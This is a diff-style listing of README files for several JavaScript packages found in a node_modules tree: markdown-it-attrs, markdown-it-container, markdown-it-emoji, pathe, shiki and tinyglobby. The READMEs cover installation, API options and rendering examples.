|
|
273
|
+
</tr>
|
|
274
|
+
</thead>
|
|
275
|
+
<tbody>
|
|
276
|
+
<tr>
|
|
277
|
+
<td>1</td>
|
|
278
|
+
<td>11</td>
|
|
279
|
+
<td>111</td>
|
|
280
|
+
<td rowspan="3">1111</td>
|
|
281
|
+
</tr>
|
|
282
|
+
<tr>
|
|
283
|
+
<td colspan="2" rowspan="2">2</td>
|
|
284
|
+
<td>22</td>
|
|
285
|
+
</tr>
|
|
286
|
+
<tr>
|
|
287
|
+
<td>3</td>
|
|
288
|
+
</tr>
|
|
289
|
+
</tbody>
|
|
290
|
+
</table>
|
|
291
|
+
```
|
|
292
|
+
|
|
293
|
+
If you need finer control, [decorate](https://github.com/rstacruz/markdown-it-decorate) might help you.
|
|
294
|
+
|
|
295
|
+
## Custom rendering
|
|
296
|
+
If you would like some other output, you can override renderers:
|
|
297
|
+
|
|
298
|
+
```js
|
|
299
|
+
const md = require('markdown-it')();
|
|
300
|
+
const markdownItAttrs = require('markdown-it-attrs');
|
|
301
|
+
|
|
302
|
+
md.use(markdownItAttrs);
|
|
303
|
+
|
|
304
|
+
// custom renderer for fences
|
|
305
|
+
md.renderer.rules.fence = function (tokens, idx, options, env, slf) {
|
|
306
|
+
const token = tokens[idx];
|
|
307
|
+
return '<pre' + slf.renderAttrs(token) + '>'
|
|
308
|
+
+ '<code>' + token.content + '</code>'
|
|
309
|
+
+ '</pre>';
|
|
310
|
+
}
|
|
311
|
+
|
|
312
|
+
let src = [
|
|
313
|
+
'',
|
|
314
|
+
'```js {.abcd}',
|
|
315
|
+
'var a = 1;',
|
|
316
|
+
'```'
|
|
317
|
+
].join('\n')
|
|
318
|
+
|
|
319
|
+
console.log(md.render(src));
|
|
320
|
+
```
|
|
321
|
+
|
|
322
|
+
Output:
|
|
323
|
+
```html
|
|
324
|
+
<pre class="abcd"><code>var a = 1;
|
|
325
|
+
</code></pre>
|
|
326
|
+
```
|
|
327
|
+
|
|
328
|
+
Read more about [custom rendering at markdown-it](https://github.com/markdown-it/markdown-it/blob/master/docs/architecture.md#renderer).
|
|
329
|
+
|
|
330
|
+
|
|
331
|
+
## Custom blocks
|
|
332
|
+
`markdown-it-attrs` will add attributes to any `token.block == true` with {}-curlies in end of `token.info`. For example, see [markdown-it/rules_block/fence.js](https://github.com/markdown-it/markdown-it/blob/760050edcb7607f70a855c97a087ad287b653d61/lib/rules_block/fence.js#L85) which [stores text after the three backticks in fenced code blocks to `token.info`](https://markdown-it.github.io/#md3=%7B%22source%22%3A%22%60%60%60js%20%7B.red%7D%5Cnfunction%20%28%29%20%7B%7D%5Cn%60%60%60%22%2C%22defaults%22%3A%7B%22html%22%3Afalse%2C%22xhtmlOut%22%3Afalse%2C%22breaks%22%3Afalse%2C%22langPrefix%22%3A%22language-%22%2C%22linkify%22%3Atrue%2C%22typographer%22%3Atrue%2C%22_highlight%22%3Atrue%2C%22_strict%22%3Afalse%2C%22_view%22%3A%22debug%22%7D%7D).
|
|
333
|
+
|
|
334
|
+
Remember to [render attributes](https://github.com/arve0/markdown-it-attrs/blob/a75102ad571110659ce9545d184aa5658d2b4a06/index.js#L100) if you use a custom renderer.
|
|
335
|
+
|
|
336
|
+
## Custom delimiters
|
|
337
|
+
|
|
338
|
+
To use different delimiters than the default, add configuration for `leftDelimiter` and `rightDelimiter`:
|
|
339
|
+
|
|
340
|
+
```js
|
|
341
|
+
md.use(attrs, {
|
|
342
|
+
leftDelimiter: '[',
|
|
343
|
+
rightDelimiter: ']'
|
|
344
|
+
});
|
|
345
|
+
```
|
|
346
|
+
|
|
347
|
+
Which will render
|
|
348
|
+
|
|
349
|
+
```md
|
|
350
|
+
# title [.large]
|
|
351
|
+
```
|
|
352
|
+
|
|
353
|
+
as
|
|
354
|
+
|
|
355
|
+
```html
|
|
356
|
+
<h1 class="large">title</h1>
|
|
357
|
+
```
|
|
358
|
+
|
|
359
|
+
## Development
|
|
360
|
+
Tests are in [test.js](./test.js).
|
|
361
|
+
|
|
362
|
+
Run all tests:
|
|
363
|
+
```sh
|
|
364
|
+
npm test
|
|
365
|
+
```
|
|
366
|
+
|
|
367
|
+
Run particular test:
|
|
368
|
+
```sh
|
|
369
|
+
npm test -- -g "not crash"
|
|
370
|
+
```
|
|
371
|
+
|
|
372
|
+
In tests, use helper function `replaceDelimiters` to make test run with
|
|
373
|
+
different delimiters (`{}`, `[]` and `[[]]`).
|
|
374
|
+
|
|
375
|
+
For easy access to HTML output you can use [debug.js](./debug.js):
|
|
376
|
+
|
|
377
|
+
```sh
|
|
378
|
+
node debug.js # will print HTML output
|
|
379
|
+
```
|
|
380
|
+
|
|
381
|
+
Please do **not** submit pull requests with changes in package version or built
|
|
382
|
+
files like browser.js.
|
|
383
|
+
|
|
384
|
+
## License
|
|
385
|
+
|
|
386
|
+
MIT © [Arve Seljebu](http://arve0.github.io/)
|
|
@@ -0,0 +1,95 @@
|
|
|
1
|
+
# markdown-it-container
|
|
2
|
+
|
|
3
|
+
[](https://github.com/markdown-it/markdown-it-container/actions/workflows/ci.yml)
|
|
4
|
+
[](https://www.npmjs.org/package/markdown-it-container)
|
|
5
|
+
[](https://coveralls.io/r/markdown-it/markdown-it-container?branch=master)
|
|
6
|
+
|
|
7
|
+
> Plugin for creating block-level custom containers for [markdown-it](https://github.com/markdown-it/markdown-it) markdown parser.
|
|
8
|
+
|
|
9
|
+
__v2.+ requires `markdown-it` v5.+, see changelog.__
|
|
10
|
+
|
|
11
|
+
With this plugin you can create block containers like:
|
|
12
|
+
|
|
13
|
+
```
|
|
14
|
+
::: warning
|
|
15
|
+
*here be dragons*
|
|
16
|
+
:::
|
|
17
|
+
```
|
|
18
|
+
|
|
19
|
+
.... and specify how they should be rendered. If no renderer defined, `<div>` with
|
|
20
|
+
container name class will be created:
|
|
21
|
+
|
|
22
|
+
```html
|
|
23
|
+
<div class="warning">
|
|
24
|
+
<em>here be dragons</em>
|
|
25
|
+
</div>
|
|
26
|
+
```
|
|
27
|
+
|
|
28
|
+
Markup is the same as for [fenced code blocks](http://spec.commonmark.org/0.18/#fenced-code-blocks).
|
|
29
|
+
Difference is, that marker use another character and content is rendered as markdown markup.
|
|
30
|
+
|
|
31
|
+
|
|
32
|
+
## Installation
|
|
33
|
+
|
|
34
|
+
node.js, browser:
|
|
35
|
+
|
|
36
|
+
```bash
|
|
37
|
+
$ npm install markdown-it-container --save
|
|
38
|
+
$ bower install markdown-it-container --save
|
|
39
|
+
```
|
|
40
|
+
|
|
41
|
+
|
|
42
|
+
## API
|
|
43
|
+
|
|
44
|
+
```js
|
|
45
|
+
var md = require('markdown-it')()
|
|
46
|
+
.use(require('markdown-it-container'), name [, options]);
|
|
47
|
+
```
|
|
48
|
+
|
|
49
|
+
Params:
|
|
50
|
+
|
|
51
|
+
- __name__ - container name (mandatory)
|
|
52
|
+
- __options:__
|
|
53
|
+
- __validate__ - optional, function to validate tail after opening marker, should
|
|
54
|
+
return `true` on success.
|
|
55
|
+
- __render__ - optional, renderer function for opening/closing tokens.
|
|
56
|
+
- __marker__ - optional (`:`), character to use in delimiter.
|
|
57
|
+
|
|
58
|
+
|
|
59
|
+
## Example
|
|
60
|
+
|
|
61
|
+
```js
|
|
62
|
+
var md = require('markdown-it')();
|
|
63
|
+
|
|
64
|
+
md.use(require('markdown-it-container'), 'spoiler', {
|
|
65
|
+
|
|
66
|
+
validate: function(params) {
|
|
67
|
+
return params.trim().match(/^spoiler\s+(.*)$/);
|
|
68
|
+
},
|
|
69
|
+
|
|
70
|
+
render: function (tokens, idx) {
|
|
71
|
+
var m = tokens[idx].info.trim().match(/^spoiler\s+(.*)$/);
|
|
72
|
+
|
|
73
|
+
if (tokens[idx].nesting === 1) {
|
|
74
|
+
// opening tag
|
|
75
|
+
return '<details><summary>' + md.utils.escapeHtml(m[1]) + '</summary>\n';
|
|
76
|
+
|
|
77
|
+
} else {
|
|
78
|
+
// closing tag
|
|
79
|
+
return '</details>\n';
|
|
80
|
+
}
|
|
81
|
+
}
|
|
82
|
+
});
|
|
83
|
+
|
|
84
|
+
console.log(md.render('::: spoiler click me\n*content*\n:::\n'));
|
|
85
|
+
|
|
86
|
+
// Output:
|
|
87
|
+
//
|
|
88
|
+
// <details><summary>click me</summary>
|
|
89
|
+
// <p><em>content</em></p>
|
|
90
|
+
// </details>
|
|
91
|
+
```
|
|
92
|
+
|
|
93
|
+
## License
|
|
94
|
+
|
|
95
|
+
[MIT](https://github.com/markdown-it/markdown-it-container/blob/master/LICENSE)
|
|
@@ -0,0 +1,101 @@
|
|
|
1
|
+
# markdown-it-emoji
|
|
2
|
+
|
|
3
|
+
[](https://github.com/markdown-it/markdown-it-emoji/actions/workflows/ci.yml)
|
|
4
|
+
[](https://www.npmjs.org/package/markdown-it-emoji)
|
|
5
|
+
[](https://coveralls.io/github/markdown-it/markdown-it-emoji?branch=master)
|
|
6
|
+
|
|
7
|
+
> Plugin for [markdown-it](https://github.com/markdown-it/markdown-it) markdown parser, adding emoji & emoticon syntax support. Also supports emoticons [shortcuts](https://github.com/markdown-it/markdown-it-emoji/blob/master/lib/data/shortcuts.js) like `:)`, `:-(`, and others.
|
|
8
|
+
|
|
9
|
+
__NOTE. v3 changed exports, see below.__
|
|
10
|
+
|
|
11
|
+
|
|
12
|
+
## Install
|
|
13
|
+
|
|
14
|
+
```bash
|
|
15
|
+
npm install i markdown-it-emoji
|
|
16
|
+
```
|
|
17
|
+
|
|
18
|
+
## Use
|
|
19
|
+
|
|
20
|
+
### init
|
|
21
|
+
|
|
22
|
+
```js
|
|
23
|
+
//
|
|
24
|
+
// { full, light, bare } configs available.
|
|
25
|
+
//
|
|
26
|
+
// full: includes all available emojis support
|
|
27
|
+
// light: includes small subset of most useable emojis
|
|
28
|
+
// bare: no defaults
|
|
29
|
+
//
|
|
30
|
+
// Also CJS & UMD builds available in `dist/` folder of published package,
|
|
31
|
+
// if your env not supports ESM modules use.
|
|
32
|
+
//
|
|
33
|
+
import { full as emoji } from 'markdown-it-emoji'
|
|
34
|
+
import markdownit from 'markdown-it'
|
|
35
|
+
|
|
36
|
+
const md = markdownit().use(emoji/* , options */);
|
|
37
|
+
```
|
|
38
|
+
|
|
39
|
+
Options are not mandatory:
|
|
40
|
+
|
|
41
|
+
- __defs__ (Object) - rewrite available emoji definitions
|
|
42
|
+
- example: `{ name1: char1, name2: char2, ... }`
|
|
43
|
+
- __enabled__ (Array) - disable all emojis except whitelisted
|
|
44
|
+
- __shortcuts__ (Object) - rewrite default shortcuts
|
|
45
|
+
- example: `{ "smile": [ ":)", ":-)" ], "laughing": ":D" }`
|
|
46
|
+
|
|
47
|
+
_Differences in browser._ If you load the script directly into the page without
|
|
48
|
+
using a package system, the module will add itself globally with the name `markdownitEmoji`.
|
|
49
|
+
|
|
50
|
+
### change output
|
|
51
|
+
|
|
52
|
+
By default, emojis are rendered as appropriate unicode chars. But you can change
|
|
53
|
+
the renderer function as you wish.
|
|
54
|
+
|
|
55
|
+
Render as span blocks (for example, to use a custom iconic font):
|
|
56
|
+
|
|
57
|
+
```js
|
|
58
|
+
// ...
|
|
59
|
+
// initialize
|
|
60
|
+
|
|
61
|
+
md.renderer.rules.emoji = function(token, idx) {
|
|
62
|
+
return '<span class="emoji emoji_' + token[idx].markup + '"></span>';
|
|
63
|
+
};
|
|
64
|
+
```
|
|
65
|
+
|
|
66
|
+
Or use [twemoji](https://github.com/twitter/twemoji):
|
|
67
|
+
|
|
68
|
+
```js
|
|
69
|
+
// ...
|
|
70
|
+
// initialize
|
|
71
|
+
|
|
72
|
+
import twemoji from 'twemoji'
|
|
73
|
+
|
|
74
|
+
md.renderer.rules.emoji = function(token, idx) {
|
|
75
|
+
return twemoji.parse(token[idx].content);
|
|
76
|
+
};
|
|
77
|
+
```
|
|
78
|
+
|
|
79
|
+
__NB 1__. Read [twemoji docs](https://github.com/twitter/twemoji#string-parsing)!
|
|
80
|
+
In case you need more options to change image size & type.
|
|
81
|
+
|
|
82
|
+
__NB 2__. When using twemoji you can make image height match the line height with this
|
|
83
|
+
style:
|
|
84
|
+
|
|
85
|
+
```css
|
|
86
|
+
.emoji {
|
|
87
|
+
height: 1.2em;
|
|
88
|
+
}
|
|
89
|
+
```
|
|
90
|
+
|
|
91
|
+
### In your markdown file
|
|
92
|
+
|
|
93
|
+
```md
|
|
94
|
+
Hello from mars :satellite:
|
|
95
|
+
```
|
|
96
|
+
|
|
97
|
+
becomes
|
|
98
|
+
|
|
99
|
+
```
|
|
100
|
+
Hello from mars 📡
|
|
101
|
+
```
|
|
@@ -0,0 +1,73 @@
|
|
|
1
|
+
# 🛣️ pathe
|
|
2
|
+
|
|
3
|
+
> Universal filesystem path utils
|
|
4
|
+
|
|
5
|
+
[![version][npm-v-src]][npm-v-href]
|
|
6
|
+
[![downloads][npm-d-src]][npm-d-href]
|
|
7
|
+
[![size][size-src]][size-href]
|
|
8
|
+
|
|
9
|
+
## ❓ Why
|
|
10
|
+
|
|
11
|
+
For [historical reasons](https://docs.microsoft.com/en-us/archive/blogs/larryosterman/why-is-the-dos-path-character), windows followed MS-DOS and used backslash for separating paths rather than slash used for macOS, Linux, and other Posix operating systems. Nowadays, [Windows](https://docs.microsoft.com/en-us/windows/win32/fileio/naming-a-file?redirectedfrom=MSDN) supports both Slash and Backslash for paths. [Node.js's built-in `path` module](https://nodejs.org/api/path.html) in the default operation of the path module varies based on the operating system on which a Node.js application is running. Specifically, when running on a Windows operating system, the path module will assume that Windows-style paths are being used. **This makes inconsistent code behavior between Windows and POSIX.**
|
|
12
|
+
|
|
13
|
+
Compared to popular [upath](https://github.com/anodynos/upath), pathe provides **identical exports** of Node.js with normalization on **all operations** and is written in modern **ESM/TypeScript** and has **no dependency on Node.js**!
|
|
14
|
+
|
|
15
|
+
This package is a drop-in replacement of the Node.js's [path module](https://nodejs.org/api/path.html) module and ensures paths are normalized with slash `/` and work in environments including Node.js.
|
|
16
|
+
|
|
17
|
+
## 💿 Usage
|
|
18
|
+
|
|
19
|
+
Install using npm or yarn:
|
|
20
|
+
|
|
21
|
+
```bash
|
|
22
|
+
# npm
|
|
23
|
+
npm i pathe
|
|
24
|
+
|
|
25
|
+
# yarn
|
|
26
|
+
yarn add pathe
|
|
27
|
+
|
|
28
|
+
# pnpm
|
|
29
|
+
pnpm i pathe
|
|
30
|
+
```
|
|
31
|
+
|
|
32
|
+
Import:
|
|
33
|
+
|
|
34
|
+
```js
|
|
35
|
+
// ESM / Typescript
|
|
36
|
+
import { resolve, matchesGlob } from "pathe";
|
|
37
|
+
|
|
38
|
+
// CommonJS
|
|
39
|
+
const { resolve, matchesGlob } = require("pathe");
|
|
40
|
+
```
|
|
41
|
+
|
|
42
|
+
Read more about path utils from [Node.js documentation](https://nodejs.org/api/path.html) and rest assured behavior is consistently like POSIX regardless of your input paths format and running platform (the only exception is `delimiter` constant export, it will be set to `;` on windows platform).
|
|
43
|
+
|
|
44
|
+
### Extra utilities
|
|
45
|
+
|
|
46
|
+
Pathe exports some extra utilities that do not exist in standard Node.js [path module](https://nodejs.org/api/path.html).
|
|
47
|
+
In order to use them, you can import from `pathe/utils` subpath:
|
|
48
|
+
|
|
49
|
+
```js
|
|
50
|
+
import {
|
|
51
|
+
filename,
|
|
52
|
+
normalizeAliases,
|
|
53
|
+
resolveAlias,
|
|
54
|
+
reverseResolveAlias,
|
|
55
|
+
} from "pathe/utils";
|
|
56
|
+
```
|
|
57
|
+
|
|
58
|
+
## License
|
|
59
|
+
|
|
60
|
+
Made with 💛 Published under the [MIT](./LICENSE) license.
|
|
61
|
+
|
|
62
|
+
Some code was used from the Node.js project. Glob supported is powered by [zeptomatch](https://github.com/fabiospampinato/zeptomatch).
|
|
63
|
+
|
|
64
|
+
<!-- Refs -->
|
|
65
|
+
|
|
66
|
+
[npm-v-src]: https://img.shields.io/npm/v/pathe?style=flat-square
|
|
67
|
+
[npm-v-href]: https://npmjs.com/package/pathe
|
|
68
|
+
[npm-d-src]: https://img.shields.io/npm/dm/pathe?style=flat-square
|
|
69
|
+
[npm-d-href]: https://npmjs.com/package/pathe
|
|
70
|
+
[github-actions-src]: https://img.shields.io/github/workflow/status/unjs/pathe/ci/main?style=flat-square
|
|
71
|
+
[github-actions-href]: https://github.com/unjs/pathe/actions?query=workflow%3Aci
|
|
72
|
+
[size-src]: https://packagephobia.now.sh/badge?p=pathe
|
|
73
|
+
[size-href]: https://packagephobia.now.sh/result?p=pathe
|
|
@@ -0,0 +1,15 @@
|
|
|
1
|
+
<img src="https://raw.githubusercontent.com/shikijs/shiki/main/docs/public/logo.svg" width="150" alt="Shiki Logo" />
|
|
2
|
+
|
|
3
|
+
# Shiki 式
|
|
4
|
+
|
|
5
|
+
[](https://www.npmjs.com/package/shiki)
|
|
6
|
+
[](https://www.npmjs.com/package/shiki)
|
|
7
|
+
[](https://app.codecov.io/gh/shikijs/shiki)
|
|
8
|
+
|
|
9
|
+
A beautiful syntax highlighter based on TextMate grammars, accurate and powerful.
|
|
10
|
+
|
|
11
|
+
[📚 **Documentation**](https://shiki.style)
|
|
12
|
+
|
|
13
|
+
## License
|
|
14
|
+
|
|
15
|
+
[MIT](./LICENSE)
|
package/skills/void/docs/node_modules/void/node_modules/@void/md/node_modules/tinyglobby/README.md
ADDED
|
@@ -0,0 +1,25 @@
|
|
|
1
|
+
# tinyglobby
|
|
2
|
+
|
|
3
|
+
[](https://npmjs.com/package/tinyglobby)
|
|
4
|
+
[](https://npmjs.com/package/tinyglobby)
|
|
5
|
+
|
|
6
|
+
A fast and minimal alternative to globby and fast-glob, meant to behave the same way.
|
|
7
|
+
|
|
8
|
+
Both globby and fast-glob present some behavior no other globbing lib has,
|
|
9
|
+
which makes it hard to manually replace with something smaller and better.
|
|
10
|
+
|
|
11
|
+
This library uses only two subdependencies, compared to `globby`'s [23](https://npmgraph.js.org/?q=globby@16.2.0)
|
|
12
|
+
and `fast-glob`'s [17](https://npmgraph.js.org/?q=fast-glob@3.3.3).
|
|
13
|
+
|
|
14
|
+
## Usage
|
|
15
|
+
|
|
16
|
+
```js
|
|
17
|
+
import { glob, globSync } from 'tinyglobby';
|
|
18
|
+
|
|
19
|
+
await glob(['files/*.ts', '!**/*.d.ts'], { cwd: 'src' });
|
|
20
|
+
globSync('src/**/*.ts', { ignore: '**/*.d.ts' });
|
|
21
|
+
```
|
|
22
|
+
|
|
23
|
+
## Documentation
|
|
24
|
+
|
|
25
|
+
Visit https://superchupu.dev/tinyglobby to read the full documentation.
|